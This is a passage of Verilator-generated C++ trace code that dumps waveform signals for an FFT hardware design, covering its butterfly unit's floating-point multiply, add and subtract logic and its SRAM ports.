+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ae_plus_be))))
: (0x7fU > (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ae_plus_be)))));
vcdp->fullBit (c+254,((1U & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2a__DOT__MUL__DOT__ze_norm)
>> 8U))));
vcdp->fullBus (c+191,((IData)(vlTOPp->v__DOT__BFLY0_in2_data)),32);
vcdp->fullBus (c+137,(vlTOPp->v__DOT__BFLY0__DOT__t2b),32);
vcdp->fullQuad (c+255,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab),48);
vcdp->fullBit (c+257,((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x2fU)))));
vcdp->fullBus (c+258,((0xffffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x17U))))),24);
vcdp->fullBus (c+259,((0x7fffffU & ((1U & (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x18U))
: (IData)(
(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x17U))))),23);
vcdp->fullBus (c+260,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ae_plus_be),9);
vcdp->fullBus (c+261,((0x1ffU & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ae_plus_be)
- (IData)(0x7fU)))),9);
vcdp->fullBus (c+262,(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ze_norm),9);
vcdp->fullBus (c+263,((0xffU & (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ze_norm))),8);
vcdp->fullBit (c+264,(((1U & (IData)((vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ab
>> 0x2fU)))
? (0x7fU > (0x1ffU
& ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ae_plus_be))))
: (0x7fU > (IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ae_plus_be)))));
vcdp->fullBit (c+265,((1U & ((IData)(vlTOPp->v__DOT__BFLY0__DOT__mult_t2b__DOT__MUL__DOT__ze_norm)
>> 8U))));
vcdp->fullBus (c+267,(((0x80000000U == vlTOPp->v__DOT__BFLY0__DOT__add_o1r__DOT__FPU__DOT__zraw)
? 0U : vlTOPp->v__DOT__BFLY0__DOT__add_o1r__DOT__FPU__DOT__zraw)),32);
vcdp->fullBit (c+272,((1U & (~ (IData)((vlTOPp->v__DOT__BFLY0_in1_data
>> 0x3fU))))));
vcdp->fullBit (c+273,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x1fU)))));
vcdp->fullBus (c+274,(vlTOPp->v__DOT__BFLY0__DOT__add_o1r__DOT__FPU__DOT__zraw),32);
vcdp->fullQuad (c+286,((VL_ULL(0xffffffffffff)
& (((0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))))))))),48);
vcdp->fullQuad (c+288,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U))
> (0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1))))))),48);
vcdp->fullQuad (c+291,((VL_ULL(0xffffffffffff)
& ((((0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U)))))))
+ (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U))
> (0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1)))))))),48);
vcdp->fullBus (c+293,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__ADD__DOT__zm),25);
vcdp->fullBus (c+294,((0x7fffffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__ADD__DOT__zm)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__ADD__DOT__zm
>> 1U)
: vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__ADD__DOT__zm))),23);
vcdp->fullBus (c+295,((0xffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__ADD__DOT__zm)
? ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ze))
: (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ze)))),8);
vcdp->fullQuad (c+296,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__am_adj),48);
vcdp->fullQuad (c+298,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__bm_adj),48);
vcdp->fullQuad (c+300,((VL_ULL(0xffffffffffff)
& ((vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__am_adj
>= vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__bm_adj)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__am_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__bm_adj)
: (vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__bm_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__am_adj)))),48);
vcdp->fullBus (c+302,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm),24);
vcdp->fullBus (c+303,((0xffU & ((0x800000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0U : ((0x400000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 1U
:
((0x200000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 2U
:
((0x100000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 3U
:
((0x80000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 4U
:
((0x40000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 5U
:
((0x20000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 6U
:
((0x10000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 7U
:
((0x8000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 8U
:
((0x4000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 9U
:
((0x2000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xaU
:
((0x1000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xbU
:
((0x800U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xcU
:
((0x400U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xdU
:
((0x200U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xeU
:
((0x100U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0xfU
:
((0x80U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x10U
:
((0x40U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x11U
:
((0x20U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x12U
:
((0x10U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x13U
:
((8U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x14U
:
((4U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x15U
:
((2U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x16U
:
((1U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm)
? 0x17U
: 0x18U)))))))))))))))))))))))))),8);
vcdp->fullBus (c+304,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__zm_final),23);
vcdp->fullBus (c+305,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ze_final),8);
vcdp->fullBus (c+307,(((0x80000000U == vlTOPp->v__DOT__BFLY0__DOT__add_o1i__DOT__FPU__DOT__zraw)
? 0U : vlTOPp->v__DOT__BFLY0__DOT__add_o1i__DOT__FPU__DOT__zraw)),32);
vcdp->fullBit (c+312,((1U & (~ (IData)((vlTOPp->v__DOT__BFLY0_in1_data
>> 0x1fU))))));
vcdp->fullBit (c+313,((1U & (~ (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x1fU)))));
vcdp->fullBus (c+314,(vlTOPp->v__DOT__BFLY0__DOT__add_o1i__DOT__FPU__DOT__zraw),32);
vcdp->fullQuad (c+326,((VL_ULL(0xffffffffffff)
& (((0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data)))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data)))))))),48);
vcdp->fullQuad (c+328,((VL_ULL(0xffffffffffff)
& (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U))
> (0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2))))))),48);
vcdp->fullQuad (c+331,((VL_ULL(0xffffffffffff)
& ((((0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data)))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data))))))
+ (((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U))
> (0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U)))
? ((0x2fU >= (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
? ((VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2))))
<< (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
: VL_ULL(0))
: (VL_ULL(0x800000)
| (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2)))))))),48);
vcdp->fullBus (c+333,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__ADD__DOT__zm),25);
vcdp->fullBus (c+334,((0x7fffffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__ADD__DOT__zm)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__ADD__DOT__zm
>> 1U)
: vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__ADD__DOT__zm))),23);
vcdp->fullBus (c+335,((0xffU & ((0x1000000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__ADD__DOT__zm)
? ((IData)(1U)
+ (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ze))
: (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ze)))),8);
vcdp->fullQuad (c+336,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__am_adj),48);
vcdp->fullQuad (c+338,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__bm_adj),48);
vcdp->fullQuad (c+340,((VL_ULL(0xffffffffffff)
& ((vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__am_adj
>= vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__bm_adj)
? (vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__am_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__bm_adj)
: (vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__bm_adj
- vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__am_adj)))),48);
vcdp->fullBus (c+342,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm),24);
vcdp->fullBus (c+343,((0xffU & ((0x800000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0U : ((0x400000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 1U
:
((0x200000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 2U
:
((0x100000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 3U
:
((0x80000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 4U
:
((0x40000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 5U
:
((0x20000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 6U
:
((0x10000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 7U
:
((0x8000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 8U
:
((0x4000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 9U
:
((0x2000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xaU
:
((0x1000U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xbU
:
((0x800U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xcU
:
((0x400U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xdU
:
((0x200U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xeU
:
((0x100U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0xfU
:
((0x80U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x10U
:
((0x40U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x11U
:
((0x20U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x12U
:
((0x10U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x13U
:
((8U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x14U
:
((4U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x15U
:
((2U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x16U
:
((1U
& vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm)
? 0x17U
: 0x18U)))))))))))))))))))))))))),8);
vcdp->fullBus (c+344,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__zm_final),23);
vcdp->fullBus (c+345,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ze_final),8);
vcdp->fullBus (c+346,(((0x80000000U == vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__zraw)
? 0U : vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__zraw)),32);
vcdp->fullBus (c+266,((IData)((vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))),32);
vcdp->fullBus (c+132,(vlTOPp->v__DOT__BFLY0__DOT__t1),32);
vcdp->fullBus (c+347,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__zraw),32);
vcdp->fullBus (c+270,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__zadd),32);
vcdp->fullBus (c+268,((0x7fffffffU & (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U)))),32);
vcdp->fullBus (c+269,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t1)),32);
vcdp->fullBus (c+271,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__zsub),32);
vcdp->fullBit (c+275,(0U));
vcdp->fullBit (c+276,(0U));
vcdp->fullBus (c+277,((0xffU & ((IData)((vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U))),8);
vcdp->fullBus (c+278,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U))),8);
vcdp->fullQuad (c+279,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& (IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))))))),48);
vcdp->fullQuad (c+281,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1))))),48);
vcdp->fullBus (c+283,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff),8);
vcdp->fullBit (c+284,(((0U == (0x7fffffffU
& (IData)((vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U))
> (0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U)))))));
vcdp->fullBit (c+285,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t1))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & ((IData)(
(vlTOPp->v__DOT__BFLY0_in1_data
>> 0x20U))
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t1
>> 0x17U)))))));
vcdp->fullBus (c+290,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2r__DOT__FPU__DOT__SUB__DOT__ze),8);
vcdp->fullBus (c+348,(((0x80000000U == vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__zraw)
? 0U : vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__zraw)),32);
vcdp->fullBus (c+306,((IData)(vlTOPp->v__DOT__BFLY0_in1_data)),32);
vcdp->fullBus (c+135,(vlTOPp->v__DOT__BFLY0__DOT__t2),32);
vcdp->fullBus (c+349,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__zraw),32);
vcdp->fullBus (c+310,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__zadd),32);
vcdp->fullBus (c+308,((0x7fffffffU & (IData)(vlTOPp->v__DOT__BFLY0_in1_data))),32);
vcdp->fullBus (c+309,((0x7fffffffU & vlTOPp->v__DOT__BFLY0__DOT__t2)),32);
vcdp->fullBus (c+311,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__zsub),32);
vcdp->fullBit (c+315,(0U));
vcdp->fullBit (c+316,(0U));
vcdp->fullBus (c+317,((0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U))),8);
vcdp->fullBus (c+318,((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U))),8);
vcdp->fullQuad (c+319,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data)))))),48);
vcdp->fullQuad (c+321,((VL_ULL(0x800000) | (QData)((IData)(
(0x7fffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2))))),48);
vcdp->fullBus (c+323,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff),8);
vcdp->fullBit (c+324,(((0U == (0x7fffffffU
& (IData)(vlTOPp->v__DOT__BFLY0_in1_data)))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U))
> (0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U)))))));
vcdp->fullBit (c+325,(((0U == (0x7fffffffU
& vlTOPp->v__DOT__BFLY0__DOT__t2))
| ((0x16U < (IData)(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ediff))
& ((0xffU & ((IData)(vlTOPp->v__DOT__BFLY0_in1_data)
>> 0x17U))
> (0xffU & (vlTOPp->v__DOT__BFLY0__DOT__t2
>> 0x17U)))))));
vcdp->fullBus (c+330,(vlTOPp->v__DOT__BFLY0__DOT__sub_o2i__DOT__FPU__DOT__SUB__DOT__ze),8);
vcdp->fullQuad (c+123,(vlTOPp->v__DOT__BFLY0_in1_data),64);
vcdp->fullQuad (c+125,(vlTOPp->v__DOT__BFLY0_in2_data),64);
vcdp->fullQuad (c+127,(vlTOPp->v__DOT__BFLY0_out1_data),64);
vcdp->fullQuad (c+129,(vlTOPp->v__DOT__BFLY0_out2_data),64);
vcdp->fullBit (c+350,(vlTOPp->v__DOT____Vcellinp__fftram__fft_started));
vcdp->fullQuad (c+351,(vlTOPp->v__DOT__fftram__DOT__SRAM000_rd_data),64);
vcdp->fullQuad (c+353,(vlTOPp->v__DOT__fftram__DOT__SRAM000_wr_data),64);
vcdp->fullBit (c+355,(vlTOPp->v__DOT__fftram__DOT__SRAM000_ez));
vcdp->fullQuad (c+356,(vlTOPp->v__DOT__fftram__DOT__SRAM001_rd_data),64);
vcdp->fullQuad (c+358,(vlTOPp->v__DOT__fftram__DOT__SRAM001_wr_data),64);
vcdp->fullBit (c+360,(vlTOPp->v__DOT__fftram__DOT__SRAM001_ez));
vcdp->fullQuad (c+361,(vlTOPp->v__DOT__fftram__DOT__SRAM002_rd_data),64);
vcdp->fullQuad (c+363,(vlTOPp->v__DOT__fftram__DOT__SRAM002_wr_data),64);
vcdp->fullBit (c+365,(vlTOPp->v__DOT__fftram__DOT__SRAM002_ez));
vcdp->fullQuad (c+366,(vlTOPp->v__DOT__fftram__DOT__SRAM003_rd_data),64);
vcdp->fullQuad (c+368,(vlTOPp->v__DOT__fftram__DOT__SRAM003_wr_data),64);
